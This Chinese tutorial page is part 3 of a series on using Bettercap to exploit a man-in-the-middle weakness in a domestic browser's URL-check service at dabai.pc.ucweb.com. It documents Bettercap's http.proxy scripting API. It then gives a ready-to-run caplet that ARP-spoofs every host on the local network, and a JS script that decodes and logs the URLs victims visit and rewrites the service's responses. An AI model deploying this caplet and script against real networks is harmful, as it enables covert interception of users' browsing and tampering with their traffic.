主页 > 网络知识 > 利用Bettercap对某国产浏览器中间人漏洞执行攻击(3)

利用Bettercap对某国产浏览器中间人漏洞执行攻击(3)

我们这次需要编写的caplets中需要用到如下命令

http.proxy on #启用http.proxy模块 set http.proxy.script path#启用我们自定义的js脚本来自定义http.proxy模块的行为

编写http.proxy是重头戏,

而拓展http.proxy的js脚本格式如下

// 在脚本被加载时执行 function onLoad() { } // 当代理接收到请求并且还没发送到真正的server时调用 function onRequest(req, res) { } // 当请求已经发送到了真实的server并获取返回结果时调用 function onResponse(req, res) { } //当未知命令被调用时执行,这样可以拓展我们自己的命令 function onCommand(cmd) { if( cmd == "test" ) { /* * 自定义会话中命令的逻辑. */ return true } }

在今天的bettercap脚本编写示例中我们将会编写这里的onRequest和onResponse函数。

在onRequest和onResponse函数中的req和res就是传入的请求和返回结果。

关于req和res支持的操作,官方文档并没有提供一个完整详细的列表,但是笔者阅读了许多caplets的源码找出了以下用法

req用法 用法 说明
req.Path    url路径  
req.GetHeader(“User-Agent”, “”)    获取某请求头  
req.Client.IP    客户端IP  
req.Hostname    server的主机名  
req.Headers    获取所有请求头  
req.Method    请求方式  
req.ContentType    Content-Type  
req.Query   获取查询字符串  
req.ParseForm();   获取POST包的字典  
req.ReadBody()   获取请求包的body  

res用法

用法 说明
res.Body    返回包的body,只能修改用于改包而不能读结果  
res.ContentType   Content-Type  
res.SetHeader(“Content-Length”, 114514)    设置返回包的头  
res.Status   返回包的状态码  
res.ReadBody   获取返回包的body(在onResponse时使用)  
编写caplets 

在知道了如上信息之后我们就可以编写我们的caplets了,首先在/usr/share/bettercap/caplets/目录下建立目录uc-url

创建uc-url.cap文件,编写文件使内容为

set http.proxy.script uc-url.js http.proxy on arp.spoof on

这个脚本的解释:第一行是配置http.proxy.script,即我们即将编写的拓展脚本

接着启用http.proxy模块

最后启用arp.spoof模块,由于没有指定目标,默认对同局域网所有主机执行arp攻击

接着我们在同目录下创建uc-url.js,编写如下内容

var RESET = ""; function R(s) { return "" + s + RESET; } function G(s) { return "" + s + RESET; } function onRequest(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { //parse request url from urlcheck request var form = req.ParseForm(); var url=atob(form['url']); log( R(req.Client.IP)+" URL:"+G(url)); } } function onResponse(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { var body = res.ReadBody(); j=JSON.parse(body) j['data']['title']='6324直播间'; res.Body=JSON.stringify(j); //log(JSON.stringify(j)); } }

前面的RESET,G,R函数用于处理字符串,使其在终端输出的时候有颜色。

其中onRequest函数中,我们根据请求的方式,url的路径,以及hostname判断了urlcheck包。

如果是urlcheck包,则通过ParseForm函数获取其url参数并且用atob函数base64解码,最后在终端上打印该URL。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!